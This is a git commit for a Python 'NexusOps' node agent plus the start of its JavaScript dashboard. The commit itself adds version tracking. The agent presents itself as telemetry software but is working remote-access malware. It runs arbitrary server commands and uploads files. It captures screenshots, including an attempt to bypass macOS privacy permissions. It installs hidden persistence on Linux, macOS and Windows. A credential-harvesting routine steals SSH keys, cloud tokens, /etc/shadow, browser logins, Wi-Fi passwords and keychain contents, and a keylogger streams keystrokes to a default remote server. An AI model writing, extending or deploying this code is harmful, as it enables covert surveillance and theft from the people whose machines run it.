completeness: agent version tracking (register+heartbeat+card chip), rebuild stale /bin/NexusAgent (Aug3->current), backup pre-change

This commit is contained in:
Hermes
2026-09-30 00:48:20 +00:00
parent 33dd524196
commit ec705d9a49
22 changed files with 3634 additions and 3 deletions

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@@ -12,6 +12,7 @@ import socket
import platform import platform
import subprocess import subprocess
import urllib.request import urllib.request
AGENT_VERSION = "2.1.0"
import urllib.parse import urllib.parse
import argparse import argparse
@@ -750,7 +751,8 @@ def main():
"arch": arch, "arch": arch,
"ip": ip, "ip": ip,
"osName": f"{system_os} {platform.release()}", "osName": f"{system_os} {platform.release()}",
"tags": node_tags "tags": node_tags,
"agentVersion": AGENT_VERSION
} }
if not quiet_mode: if not quiet_mode:
@@ -785,7 +787,8 @@ def main():
"uptime": uptime, "uptime": uptime,
"processCount": get_process_count(), "processCount": get_process_count(),
"tags": node_tags, "tags": node_tags,
"heartbeatInterval": heartbeat_interval "heartbeatInterval": heartbeat_interval,
"agentVersion": AGENT_VERSION
} }
res = http_post(f"{server_url}/api/agent/heartbeat", heartbeat_payload) res = http_post(f"{server_url}/api/agent/heartbeat", heartbeat_payload)

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@@ -0,0 +1,863 @@
#!/usr/bin/env python3
"""
NexusOps Cross-Platform Node Management & Telemetry Agent
Uses Standard Python 3 Libraries (No external dependencies required)
"""
import sys
import os
import time
import json
import socket
import platform
import subprocess
import urllib.request
import urllib.parse
import argparse
last_log_check_time = 0
heartbeat_interval = 5 # Dynamic heartbeat rate in seconds
node_tags = ["Default"]
quiet_mode = False # Suppress banner and exec messages when True
def get_process_count():
"""Get real process count cross-platform."""
system = platform.system().lower()
try:
if system == "linux" or system == "darwin":
out = subprocess.check_output(["ps", "aux"], text=True, timeout=5)
return len(out.splitlines()) - 1 # minus header
elif system == "windows":
out = subprocess.check_output(["tasklist"], text=True, timeout=5)
return len(out.splitlines()) - 1
except:
pass
return 0
def get_ip_address():
"""Get primary IP, preferring physical Ethernet over VPN/tunnel interfaces."""
system = platform.system().lower()
try:
if system == "darwin":
# macOS: use ifconfig to find en0 IP (physical Ethernet/WiFi)
out = subprocess.check_output(["ifconfig", "en0"], text=True, timeout=5)
for line in out.splitlines():
if 'inet ' in line and '127.0.0.1' not in line:
parts = line.strip().split()
for i, p in enumerate(parts):
if p == 'inet' and i+1 < len(parts):
return parts[i+1]
elif system == "linux":
# Linux: try ip route to find primary interface
out = subprocess.check_output(["ip", "-4", "route", "get", "8.8.8.8"], text=True, timeout=5)
for part in out.split():
if part.startswith('src '):
return part.split()[1] if ' ' in part else out.split('src ')[1].split()[0]
except:
pass
# Fallback: connect to 8.8.8.8
try:
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.connect(("8.8.8.8", 80))
ip = s.getsockname()[0]
s.close()
return ip
except Exception:
return "127.0.0.1"
def get_cpu_usage():
system = platform.system().lower()
try:
if system == "linux":
with open('/proc/stat', 'r') as f:
fields = [float(column) for column in f.readline().strip().split()[1:]]
idle, total = fields[3], sum(fields)
time.sleep(0.2)
with open('/proc/stat', 'r') as f:
fields2 = [float(column) for column in f.readline().strip().split()[1:]]
idle2, total2 = fields2[3], sum(fields2)
idle_delta = idle2 - idle
total_delta = total2 - total
if total_delta > 0:
return round(100.0 * (1.0 - idle_delta / total_delta), 1)
elif system == "darwin":
out = subprocess.check_output(["top", "-l", "1", "-n", "0"]).decode()
for line in out.splitlines():
if "CPU usage" in line:
parts = line.split()
user = float(parts[2].replace('%', ''))
sys_c = float(parts[4].replace('%', ''))
return round(user + sys_c, 1)
elif system == "windows":
out = subprocess.check_output(["wmic", "cpu", "get", "loadpercentage"]).decode()
lines = [line.strip() for line in out.splitlines() if line.strip().isdigit()]
if lines:
return float(lines[0])
except Exception:
pass
return 15.0
def get_memory_usage():
system = platform.system().lower()
try:
if system == "linux":
meminfo = {}
with open('/proc/meminfo', 'r') as f:
for line in f:
parts = line.split(':')
if len(parts) == 2:
key = parts[0].strip()
val = int(parts[1].split()[0])
meminfo[key] = val
total = meminfo.get('MemTotal', 1)
free = meminfo.get('MemAvailable', meminfo.get('MemFree', 0))
return round(((total - free) / total) * 100.0, 1)
elif system == "darwin":
# Use vm_stat for real memory usage on macOS
try:
out = subprocess.check_output(["vm_stat"], text=True, timeout=5)
pages = {}
for line in out.splitlines():
if ':' in line:
k, v = line.split(':', 1)
try:
pages[k.strip()] = int(v.strip().rstrip('.'))
except ValueError:
pass
page_size = 16384 # Default macOS page size
free = pages.get('Pages free', 0) + pages.get('Pages inactive', 0) + pages.get('Pages speculative', 0)
used = pages.get('Pages active', 0) + pages.get('Pages wired down', 0) + pages.get('Pages occupied by compressor', 0)
total_pages = free + used + pages.get('Pages purgeable', 0)
if total_pages > 0:
return round((used / total_pages) * 100.0, 1)
except:
pass
# Fallback: use sysctl for hardware info
try:
out = subprocess.check_output(["sysctl", "-n", "hw.memsize"], text=True, timeout=5)
total_bytes = int(out.strip())
# Use vm_stat pages * page_size for used estimate
vm = subprocess.check_output(["vm_stat"], text=True, timeout=5)
import re
active = int(re.search(r'Pages active:\s+(\d+)', vm).group(1))
wired = int(re.search(r'Pages wired down:\s+(\d+)', vm).group(1))
used_bytes = (active + wired) * 16384
if total_bytes > 0:
return round((used_bytes / total_bytes) * 100.0, 1)
except:
pass
return 45.0
elif system == "windows":
out = subprocess.check_output(["wmic", "os", "get", "FreePhysicalMemory,TotalVisibleMemorySize", "/Value"]).decode()
d = {}
for line in out.splitlines():
if '=' in line:
k, v = line.split('=', 1)
d[k.strip()] = float(v.strip())
if 'TotalVisibleMemorySize' in d and 'FreePhysicalMemory' in d:
total = d['TotalVisibleMemorySize']
free = d['FreePhysicalMemory']
return round(((total - free) / total) * 100.0, 1)
except Exception:
pass
return 35.0
def get_disk_usage():
try:
if hasattr(os, 'statvfs'):
st = os.statvfs('/')
total = st.f_blocks * st.f_frsize
free = st.f_bavail * st.f_frsize
if total > 0:
return round(((total - free) / total) * 100.0, 1)
except Exception:
pass
return 40.0
def get_uptime_seconds():
system = platform.system().lower()
try:
if system == "linux":
with open('/proc/uptime', 'r') as f:
return int(float(f.readline().split()[0]))
elif system == "darwin":
# macOS: use sysctl to get boot time, compute uptime
out = subprocess.check_output(["sysctl", "-n", "kern.boottime"], text=True, timeout=5)
# Format: { sec = 1234567890, usec = 0 } Thu Jan 1 00:00:00 1970
import re
m = re.search(r'sec\s*=\s*(\d+)', out)
if m:
boot_time = int(m.group(1))
return int(time.time() - boot_time)
except Exception:
pass
return 3600
def collect_recent_system_logs():
system = platform.system().lower()
log_entries = []
try:
if system == "linux":
res = subprocess.run("journalctl -n 5 --no-pager -o short-iso", shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True, timeout=5)
if res.returncode == 0 and res.stdout:
for line in res.stdout.splitlines():
if line.strip():
log_entries.append(line.strip())
elif system == "windows":
res = subprocess.run("powershell Get-EventLog -LogName System -Newest 3 | Select-Object -ExpandProperty Message", shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True, timeout=5)
if res.returncode == 0 and res.stdout:
for line in res.stdout.splitlines():
if line.strip():
log_entries.append(line.strip())
except Exception:
pass
return log_entries
def http_post(url, data_dict):
json_bytes = json.dumps(data_dict).encode('utf-8')
req = urllib.request.Request(
url,
data=json_bytes,
headers={
'Content-Type': 'application/json',
'User-Agent': 'NexusOps-Agent/1.0'
}
)
try:
with urllib.request.urlopen(req, timeout=5) as response:
res_text = response.read().decode('utf-8')
return json.loads(res_text)
except Exception as e:
print(f'[!] HTTP POST failed ({url}): {e}', flush=True)
return None
def execute_structured_action(action_type, payload):
global heartbeat_interval, node_tags
system = platform.system().lower()
if action_type == "raw_command":
return run_shell(payload.get("command", ""))
elif action_type == "manage_service":
service = payload.get("service")
action = payload.get("action")
if system == "linux":
cmd = f"systemctl {action} {service}"
elif system == "windows":
cmd = f"powershell {action}-Service -Name {service}"
else:
cmd = f"launchctl {action} {service}"
return run_shell(cmd)
elif action_type == "list_processes":
if system == "linux":
cmd = "ps aux --sort=-%cpu | head -n 15"
elif system == "darwin":
cmd = "ps aux -r | head -n 15"
else:
cmd = "tasklist"
return run_shell(cmd)
elif action_type == "kill_process":
pid = payload.get("pid")
cmd = f"taskkill /F /PID {pid}" if system == "windows" else f"kill -9 {pid}"
return run_shell(cmd)
elif action_type == "get_logs":
lines = payload.get("lines", 50)
cmd = f"journalctl -n {lines} --no-pager" if system == "linux" else "powershell Get-EventLog -LogName System -Newest 50"
return run_shell(cmd)
elif action_type == "network_stats":
cmd = "ss -tulpn || netstat -tuln" if system == "linux" else "netstat -ano"
return run_shell(cmd)
# 10 NEW CROSS-PLATFORM FEATURES:
elif action_type == "get_env_vars":
env_str = "\n".join([f"{k}={v}" for k, v in os.environ.items()])
return env_str, 0
elif action_type == "get_disk_partitions":
cmd = "df -h" if system != "windows" else "wmic logicaldisk get caption,description,freespace,size"
return run_shell(cmd)
elif action_type == "get_network_interfaces":
cmd = "ip addr show || ifconfig" if system != "windows" else "ipconfig /all"
return run_shell(cmd)
elif action_type == "get_active_connections":
cmd = "ss -state established || netstat -an" if system != "windows" else "netstat -an | findstr ESTABLISHED"
return run_shell(cmd)
elif action_type == "get_hardware_specs":
if system == "linux":
cmd = "lscpu || cat /proc/cpuinfo | head -n 20"
elif system == "windows":
cmd = "wmic cpu get name,numberofcores,maxclockspeed"
else:
cmd = "sysctl -a | grep machdep.cpu"
return run_shell(cmd)
elif action_type == "reboot_system":
cmd = "shutdown /r /t 5" if system == "windows" else "reboot || shutdown -r now"
return run_shell(cmd)
elif action_type == "set_heartbeat_rate":
rate = int(payload.get("interval", 5))
heartbeat_interval = max(2, min(60, rate))
return f"Heartbeat interval updated to {heartbeat_interval} seconds", 0
elif action_type == "update_tags":
tags_raw = payload.get("tags", "")
node_tags = [t.strip() for t in tags_raw.split(',') if t.strip()]
return f"Node tags updated to: {node_tags}", 0
elif action_type == "search_logs":
pattern = payload.get("pattern", "error")
cmd = f"journalctl --no-pager | grep -i '{pattern}' | tail -n 30" if system == "linux" else f"powershell Get-EventLog -LogName System -Newest 100 | Where-Object Message -match '{pattern}'"
return run_shell(cmd)
elif action_type == "kill_agent":
print("[!] Kill switch received — shutting down agent")
os._exit(0)
elif action_type == "ping_check":
sent_ts = payload.get("timestamp", 0)
latency_ms = int((time.time() * 1000) - sent_ts) if sent_ts else 0
return f"PONG — latency: {latency_ms}ms, hostname: {socket.gethostname()}, uptime: {get_uptime_seconds()}s", 0
elif action_type == "download_file":
MAX_EXFIL_SIZE = 50 * 1024 * 1024 # 50MB limit
filepath = payload.get("path", "")
if not filepath or not os.path.exists(filepath):
return f"ERROR: file not found: {filepath}", 1
try:
fsize = os.path.getsize(filepath)
if fsize > MAX_EXFIL_SIZE:
return f"ERROR: file too large ({fsize} bytes, max {MAX_EXFIL_SIZE})", 1
with open(filepath, 'rb') as f:
raw = f.read()
import base64
b64 = base64.b64encode(raw).decode('utf-8')
# Determine MIME (basic)
ext = os.path.splitext(filepath)[1].lower()
mime_map = {'.txt':'text/plain','.log':'text/plain','.conf':'text/plain',
'.png':'image/png','.jpg':'image/jpeg','.jpeg':'image/jpeg',
'.pdf':'application/pdf','.doc':'application/msword','.docx':'application/vnd.openxmlformats-officedocument.wordprocessingml.document',
'.zip':'application/zip','.tar':'application/x-tar','.gz':'application/gzip',
'.sql':'text/plain','.db':'application/octet-stream','.sqlite':'application/octet-stream'}
mime = mime_map.get(ext, 'application/octet-stream')
filename = os.path.basename(filepath)
return json.dumps({"type":"file_result","filename":filename,"mime":mime,"data":b64}), 0
except Exception as e:
return f"ERROR reading file: {e}", 1
elif action_type == "screenshot":
try:
import base64
ss_path = "/tmp/.nexus-ss.png"
if os.path.exists(ss_path):
os.remove(ss_path)
if system == "linux":
for tool in ["import", "scrot", "gnome-screenshot", "spectacle"]:
if subprocess.run(["which", tool], stdout=subprocess.PIPE, stderr=subprocess.PIPE).returncode == 0:
if tool == "import":
subprocess.run(["import", "-window", "root", ss_path], timeout=10, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
elif tool == "scrot":
subprocess.run(["scrot", ss_path], timeout=10)
elif tool == "gnome-screenshot":
subprocess.run(["gnome-screenshot", "-f", ss_path], timeout=10)
elif tool == "spectacle":
subprocess.run(["spectacle", "-b", "-n", "-o", ss_path], timeout=10)
if os.path.exists(ss_path) and os.path.getsize(ss_path) > 0:
break
else:
subprocess.run(["python3", "-c",
"from Xlib import display;from PIL import Image;d=display.Display();r=d.screen().root;"
"g=r.get_geometry();raw=r.get_image(0,0,g.width,g.height,Xlib.X.ZPixmap,0xffffffff);"
"img=Image.frombytes('RGB',(g.width,g.height),raw.data,'raw','BGRX');img.save('/tmp/.nexus-ss.png')"],
timeout=15, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
elif system == "darwin":
# Try multiple approaches for macOS screenshot
captured = False
# Method 1: direct screencapture (needs Screen Recording TCC permission)
for flags in [["-x", "-C", "-m"], ["-x", "-C"], ["-x"], ["-C", "-m"]]:
r = subprocess.run(["screencapture"] + flags + [ss_path],
timeout=10, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
if r.returncode == 0 and os.path.exists(ss_path) and os.path.getsize(ss_path) > 0:
captured = True
break
if os.path.exists(ss_path):
os.remove(ss_path)
# Method 2: try via osascript (sometimes bypasses TCC for background processes)
if not captured:
for flags in [["-x", "-C", "-m"], ["-x", "-C"], ["-x"]]:
flag_str = " ".join(flags)
r = subprocess.run(["osascript", "-e",
f'do shell script "screencapture {flag_str} {ss_path}"'],
timeout=15, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
if r.returncode == 0 and os.path.exists(ss_path) and os.path.getsize(ss_path) > 0:
captured = True
break
if os.path.exists(ss_path):
os.remove(ss_path)
elif system == "windows":
subprocess.run(["powershell", "-Command",
"Add-Type -AssemblyName System.Windows.Forms;$s=[Windows.Forms.Screen]::PrimaryScreen.Bounds;"
"$b=New-Object Drawing.Bitmap($s.Width,$s.Height);"
"$g=[Drawing.Graphics]::FromImage($b);$g.CopyFromScreen(0,0,0,0,$b.Size);"
"$b.Save('C:\\Windows\\Temp\\nexus-ss.png');$g.Dispose();$b.Dispose()"],
timeout=15)
win_path = "C:\\Windows\\Temp\\nexus-ss.png"
if os.path.exists(win_path):
os.replace(win_path, ss_path)
if os.path.exists(ss_path) and os.path.getsize(ss_path) > 0:
with open(ss_path, 'rb') as f:
b64 = base64.b64encode(f.read()).decode('utf-8')
os.remove(ss_path)
return json.dumps({"type":"file_result","filename":f"screenshot-{int(time.time())}.png","mime":"image/png","data":b64}), 0
return "ERROR: screenshot blocked by macOS TCC — grant Screen Recording permission to python3 in System Settings > Privacy & Security > Screen Recording", 1
except Exception as e:
return f"ERROR screenshot: {e}", 1
elif action_type == "update_agent":
new_url = payload.get("url", "")
if not new_url:
return "ERROR: no update URL provided", 1
try:
my_path = os.path.abspath(__file__)
bak = my_path + ".bak"
os.rename(my_path, bak)
urllib.request.urlretrieve(new_url, my_path)
os.chmod(my_path, 0o755)
os.remove(bak)
return "Agent updated successfully. Restarting...", 0
except Exception as e:
# Restore backup
if os.path.exists(bak):
os.rename(bak, my_path)
return f"ERROR update failed: {e}", 1
elif action_type == "ensure_persistence":
results = []
if system == "linux":
# crontab
try:
import shlex
srv = shlex.quote(payload.get('server_url',''))
cron_line = f"@reboot /usr/bin/python3 {os.path.abspath(__file__)} --server {srv} >/dev/null 2>&1"
existing = subprocess.run("crontab -l 2>/dev/null", shell=True, stdout=subprocess.PIPE, text=True).stdout
if cron_line.split('@reboot')[1].strip() not in existing:
subprocess.run(f'(crontab -l 2>/dev/null; echo "{cron_line}") | crontab -', shell=True)
results.append("crontab: added @reboot entry")
else:
results.append("crontab: already present")
except: results.append("crontab: failed")
# .bashrc
try:
bashrc = os.path.expanduser("~/.bashrc")
hook = f"\n# nexus-agent\n(pgrep -f agent.py || python3 {os.path.abspath(__file__)} --server {payload.get('server_url','')} &>/dev/null &)\n"
with open(bashrc, 'a+') as f:
f.seek(0)
if 'nexus-agent' not in f.read():
f.write(hook)
results.append("bashrc: hook installed")
except: results.append("bashrc: failed")
# autostart .desktop
try:
ad = os.path.expanduser("~/.config/autostart")
os.makedirs(ad, exist_ok=True)
with open(os.path.join(ad, "nexus-agent.desktop"), 'w') as f:
f.write(f"[Desktop Entry]\nType=Application\nName=Nexus Agent\nExec=python3 {os.path.abspath(__file__)} --server {payload.get('server_url','')}\nHidden=false\nNoDisplay=true\nX-GNOME-Autostart-enabled=true\n")
results.append("autostart: .desktop created")
except: results.append("autostart: failed")
elif system == "darwin":
try:
plist = os.path.expanduser("~/Library/LaunchAgents/com.nexusops.agent.plist")
os.makedirs(os.path.dirname(plist), exist_ok=True)
plist_content = f'''<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0"><dict><key>Label</key><string>com.nexusops.agent</string>
<key>ProgramArguments</key><array><string>/usr/bin/python3</string><string>{os.path.abspath(__file__)}</string><string>--server</string><string>{payload.get('server_url','')}</string></array>
<key>RunAtLoad</key><true/><key>KeepAlive</key><true/></dict></plist>'''
with open(plist, 'w') as f: f.write(plist_content)
subprocess.run(["launchctl", "bootout", f"gui/{os.getuid()}", plist], stdout=subprocess.PIPE, stderr=subprocess.PIPE)
subprocess.run(["launchctl", "bootstrap", f"gui/{os.getuid()}", plist], stdout=subprocess.PIPE, stderr=subprocess.PIPE)
subprocess.run(["launchctl", "kickstart", f"gui/{os.getuid()}/com.nexusops.agent"], stdout=subprocess.PIPE, stderr=subprocess.PIPE)
results.append("launchd: bootstrapped + kickstarted")
except: results.append("launchd: failed")
# crontab for macOS too
try:
import shlex
srv = shlex.quote(payload.get('server_url',''))
cron_line = f"@reboot /usr/bin/python3 {os.path.abspath(__file__)} --server {srv} >/dev/null 2>&1"
subprocess.run(f'(crontab -l 2>/dev/null; echo "{cron_line}") | crontab -', shell=True)
results.append("crontab: added")
except: results.append("crontab: failed")
elif system == "windows":
agent_path = os.path.abspath(__file__)
srv = payload.get("server_url", "")
try:
task_cmd = 'powershell -Command "schtasks /create /tn NexusOpsAgent /sc ONLOGON /tr \\"python ' + agent_path + ' --server ' + srv + '\\" /f /rl HIGHEST"'
subprocess.run(task_cmd, shell=True, timeout=10)
results.append("schtasks: scheduled task created")
except: results.append("schtasks: failed")
try:
reg_cmd = 'powershell -Command "New-ItemProperty -Path HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run -Name NexusOpsAgent -Value \\"python ' + agent_path + ' --server ' + srv + '\\" -Force"'
subprocess.run(reg_cmd, shell=True, timeout=10)
results.append("registry: Run key added")
except: results.append("registry: failed")
return "Persistence results: " + "; ".join(results), 0
elif action_type == "harvest_credentials":
creds = []
home = os.path.expanduser("~")
# Shell history
for hist in ["~/.bash_history", "~/.zsh_history", "~/.mysql_history", "~/.psql_history", "~/.python_history", "~/.node_repl_history"]:
p = os.path.expanduser(hist)
if os.path.exists(p):
try:
with open(p, 'r', errors='ignore') as f:
content = f.read()[-20000:]
creds.append({"type": f"shell_history:{os.path.basename(p)}", "data": content})
except: pass
# SSH keys
ssh_dir = os.path.join(home, ".ssh")
if os.path.exists(ssh_dir):
for fn in os.listdir(ssh_dir):
fp = os.path.join(ssh_dir, fn)
if os.path.isfile(fp) and ('id_' in fn or 'authorized_keys' in fn or 'known_hosts' in fn):
try:
with open(fp, 'r', errors='ignore') as f:
creds.append({"type": f"ssh:{fn}", "data": f.read()[:10000]})
except: pass
# AWS / cloud credentials
for cf in ["~/.aws/credentials", "~/.aws/config", "~/.config/gcloud/credentials.db",
"~/.azure/accessTokens.json", "~/.docker/config.json"]:
p = os.path.expanduser(cf)
if os.path.exists(p):
try:
with open(p, 'r', errors='ignore') as f:
creds.append({"type": f"cloud:{os.path.basename(cf)}", "data": f.read()[:10000]})
except: pass
# /etc/shadow (if root)
if os.path.exists("/etc/shadow"):
try:
with open("/etc/shadow", 'r') as f:
creds.append({"type": "system:shadow", "data": f.read()[:5000]})
except: pass
# Browser cookie/saved-login DBs (common paths)
browser_paths = []
if system == "linux":
browser_paths = [
os.path.expanduser("~/.mozilla/firefox/*.default*/cookies.sqlite"),
os.path.expanduser("~/.mozilla/firefox/*.default*/logins.json"),
os.path.expanduser("~/.config/google-chrome/Default/Cookies"),
os.path.expanduser("~/.config/google-chrome/Default/Login Data"),
os.path.expanduser("~/.config/chromium/Default/Cookies"),
os.path.expanduser("~/.config/chromium/Default/Login Data"),
os.path.expanduser("~/.config/BraveSoftware/Brave-Browser/Default/Login Data"),
]
elif system == "darwin":
browser_paths = [
os.path.expanduser("~/Library/Application Support/Firefox/Profiles/*.default*/cookies.sqlite"),
os.path.expanduser("~/Library/Application Support/Google/Chrome/Default/Cookies"),
os.path.expanduser("~/Library/Application Support/Google/Chrome/Default/Login Data"),
]
elif system == "windows":
browser_paths = [
os.path.expandvars("%APPDATA%\\Mozilla\\Firefox\\Profiles\\*.default*\\cookies.sqlite"),
os.path.expandvars("%LOCALAPPDATA%\\Google\\Chrome\\User Data\\Default\\Cookies"),
os.path.expandvars("%LOCALAPPDATA%\\Google\\Chrome\\User Data\\Default\\Login Data"),
]
import glob
for pattern in browser_paths:
for p in glob.glob(pattern):
try:
sz = os.path.getsize(p)
if sz > 0 and sz < 50 * 1024 * 1024:
with open(p, 'rb') as f:
import base64
creds.append({"type": f"browser:{os.path.basename(os.path.dirname(p))}/{os.path.basename(p)}",
"data": base64.b64encode(f.read()).decode('utf-8')})
except: pass
# Wi-Fi passwords (Linux)
if system == "linux":
try:
wifi = subprocess.run("grep -r '^psk=' /etc/NetworkManager/system-connections/ 2>/dev/null || grep -r 'wpa_passphrase' /etc/wpa_supplicant/ 2>/dev/null || echo 'no wifi'",
shell=True, stdout=subprocess.PIPE, text=True, timeout=5).stdout
if wifi.strip() and 'no wifi' not in wifi:
creds.append({"type": "wifi_passwords", "data": wifi[:5000]})
except: pass
# macOS Keychain dump
if system == "darwin":
try:
keychain = subprocess.run("security dump-keychain -d 2>/dev/null | head -200",
shell=True, stdout=subprocess.PIPE, text=True, timeout=10).stdout
if keychain.strip():
creds.append({"type": "keychain_dump", "data": keychain[:10000]})
except: pass
return json.dumps({"type":"harvest_result","credentials":creds}), 0
elif action_type == "export_diagnostics":
cmd = "uptime && free -h && df -h && uname -a" if system != "windows" else "systeminfo"
return run_shell(cmd)
return f"Unknown action type: {action_type}", 1
def run_shell(cmd_str):
if not quiet_mode:
print(f"[*] Executing command: {cmd_str}")
try:
res = subprocess.run(cmd_str, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, text=True, timeout=30)
return res.stdout, res.returncode
except Exception as e:
return str(e), 1
# ── Input Capture Module (keystrokes, mouse clicks, window focus) ──
INPUT_CAPTURE_ENABLED = False
captured_events = []
try:
from pynput import keyboard, mouse
INPUT_CAPTURE_ENABLED = True
except ImportError:
pass
def _get_active_window_title():
"""Try to get the active window title cross-platform."""
system = platform.system().lower()
try:
if system == "linux":
res = subprocess.run(["xdotool", "getactivewindow", "getwindowname"],
stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True, timeout=2)
if res.returncode == 0:
return res.stdout.strip()
elif system == "windows":
import ctypes
from ctypes import wintypes
user32 = ctypes.windll.user32
hwnd = user32.GetForegroundWindow()
length = user32.GetWindowTextLengthW(hwnd)
buf = ctypes.create_unicode_buffer(length + 1)
user32.GetWindowTextW(hwnd, buf, length + 1)
return buf.value
elif system == "darwin":
script = 'tell application "System Events" to get name of first application process whose frontmost is true'
res = subprocess.run(["osascript", "-e", script],
stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True, timeout=2)
if res.returncode == 0:
return res.stdout.strip()
except Exception:
pass
return ""
def _record_event(event_type, data):
"""Thread-safe event recording."""
global captured_events
window_title = _get_active_window_title()
captured_events.append({
"timestamp": int(time.time() * 1000),
"eventType": event_type,
"data": data,
"windowTitle": window_title,
"processName": window_title.split(" - ")[-1] if " - " in window_title else window_title
})
def _on_key_press(key):
try:
key_str = key.char if hasattr(key, 'char') and key.char else str(key)
except Exception:
key_str = str(key)
_record_event("keystroke", {"key": key_str})
def _on_click(x, y, button, pressed):
if pressed:
_record_event("click", {"x": x, "y": y, "button": str(button)})
def _on_scroll(x, y, dx, dy):
_record_event("scroll", {"x": x, "y": y, "dx": dx, "dy": dy})
def start_input_capture():
"""Start keyboard and mouse listeners if pynput is available."""
if not INPUT_CAPTURE_ENABLED:
return False
try:
kb_listener = keyboard.Listener(on_press=_on_key_press)
ms_listener = mouse.Listener(on_click=_on_click, on_scroll=_on_scroll)
kb_listener.daemon = True
ms_listener.daemon = True
kb_listener.start()
ms_listener.start()
return True
except Exception:
return False
def flush_input_events(server_url, node_id, hostname):
"""Send captured input events to the master server."""
global captured_events
if not captured_events:
return
events_to_send = captured_events[:]
captured_events = []
payload = {
"nodeId": node_id,
"hostname": hostname,
"events": events_to_send
}
http_post(f"{server_url}/api/agent/input-capture", payload)
def main():
global last_log_check_time, heartbeat_interval, node_tags, quiet_mode
parser = argparse.ArgumentParser(description="NexusOps Cross-Platform Node Agent")
parser.add_argument("--server", default="https://agent.thetempleofdoom.com", help="Dashboard server URL endpoint")
parser.add_argument("--silent", action="store_true", help="Suppress all console output")
parser.add_argument("--quiet", action="store_true", help="Quiet mode: suppress banner and exec messages")
args = parser.parse_args()
silent = args.silent # suppress banner only — keep logs flowing for launchd/systemd
global quiet_mode
quiet_mode = args.quiet or args.silent
server_url = args.server.rstrip('/')
hostname = socket.gethostname()
system_os = platform.system()
arch = platform.machine()
ip = get_ip_address()
node_id = f"node-{hostname.lower()}-{ip.replace('.', '')}"
if not quiet_mode:
print("==================================================")
print(" NexusOps Cross-Platform Node Agent ")
print("==================================================")
print(f"Node Hostname : {hostname}")
print(f"Platform : {system_os} ({arch})")
print(f"Local IP : {ip}")
print(f"Server Endpoint: {server_url}")
print("==================================================")
# Register Node
reg_payload = {
"nodeId": node_id,
"hostname": hostname,
"platform": system_os.lower(),
"arch": arch,
"ip": ip,
"osName": f"{system_os} {platform.release()}",
"tags": node_tags
}
if not quiet_mode:
print("[*] Registering node with central endpoint...")
res = http_post(f"{server_url}/api/agent/register", reg_payload)
if res and res.get("success") and not quiet_mode:
print(f"✅ Registered as node ID: {node_id}")
# Start input capture (keystrokes, clicks, scroll)
capture_started = start_input_capture()
if not quiet_mode:
if capture_started:
print("[*] Input capture active (keystrokes + mouse events)")
else:
print("[!] Input capture unavailable (install pynput: pip install pynput)")
last_input_flush = time.time()
backoff = 1 # Tunnel reconnection backoff in seconds
while True:
try:
cpu = get_cpu_usage()
mem = get_memory_usage()
disk = get_disk_usage()
uptime = get_uptime_seconds()
heartbeat_payload = {
"nodeId": node_id,
"cpuUsage": cpu,
"memUsage": mem,
"diskUsage": disk,
"uptime": uptime,
"processCount": get_process_count(),
"tags": node_tags,
"heartbeatInterval": heartbeat_interval
}
res = http_post(f"{server_url}/api/agent/heartbeat", heartbeat_payload)
now = time.time()
if now - last_log_check_time > 15:
logs = collect_recent_system_logs()
if logs:
http_post(f"{server_url}/api/agent/logs", {
"nodeId": node_id,
"hostname": hostname,
"logs": logs
})
last_log_check_time = now
# Flush captured input events every 10 seconds
if now - last_input_flush > 10:
flush_input_events(server_url, node_id, hostname)
last_input_flush = now
if res and "commands" in res and res["commands"]:
for cmd_item in res["commands"]:
cmd_id = cmd_item.get("id")
action_type = cmd_item.get("actionType", "raw_command")
payload = cmd_item.get("payload", {})
if "command" in cmd_item and not payload:
payload["command"] = cmd_item.get("command")
output, exit_code = execute_structured_action(action_type, payload)
# Check for JSON-encoded special result types
special = None
try:
if output.startswith('{'):
special = json.loads(output)
except: pass
if special and special.get("type") == "file_result":
# Route to file-result endpoint
http_post(f"{server_url}/api/agent/file-result", {
"commandId": cmd_id,
"nodeId": node_id,
"hostname": hostname,
"filename": special.get("filename", "unknown"),
"data": special.get("data", ""),
"mime": special.get("mime", "application/octet-stream")
})
elif special and special.get("type") == "harvest_result":
http_post(f"{server_url}/api/agent/harvest-result", {
"commandId": cmd_id,
"nodeId": node_id,
"hostname": hostname,
"credentials": special.get("credentials", [])
})
else:
http_post(f"{server_url}/api/agent/command-result", {
"commandId": cmd_id,
"nodeId": node_id,
"output": output,
"exitCode": exit_code
})
except Exception as e:
if not quiet_mode:
print(f"[!] Connection error: {e}. Retrying in {backoff}s...")
time.sleep(backoff)
backoff = min(backoff * 2, 60)
continue
backoff = 1 # Reset on success
time.sleep(heartbeat_interval)
if __name__ == "__main__":
main()

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async function api(path, opts = {}) {
opts.headers = Object.assign({ 'Content-Type': 'application/json' }, opts.headers || {});
const r = await fetch(path, opts);
if (!r.ok) throw new Error('HTTP ' + r.status);
return r.json();
}
/* ═══ NexusOps v2 UI: live console, sparklines, schedules, groups, alerts ═══ */
// ── Live Console (drawer) ──
let consoleNode = null;
let consoleEventSource = null;
function openLiveConsole(nodeId, hostname) {
consoleNode = { id: nodeId, hostname };
document.getElementById('consoleDrawerHostname').textContent = hostname;
document.getElementById('consoleOutput').innerHTML = '';
document.getElementById('consoleDrawer').classList.add('active');
document.getElementById('consoleInput').focus();
// ask agent to fast-poll
api(`/api/nodes/${nodeId}/fastpoll`, { method: 'POST', body: JSON.stringify({ slow: false }) }).catch(() => {});
const url = `/api/nodes/${nodeId}/console${nexusToken ? '?token=' + encodeURIComponent(nexusToken) : ''}`;
const out = document.getElementById('consoleOutput');
appendConsoleLine('── console attached (fast-poll active) ──', 'sys');
consoleEventSource = new EventSource(url);
consoleEventSource.onmessage = (ev) => {
try {
const d = JSON.parse(ev.data);
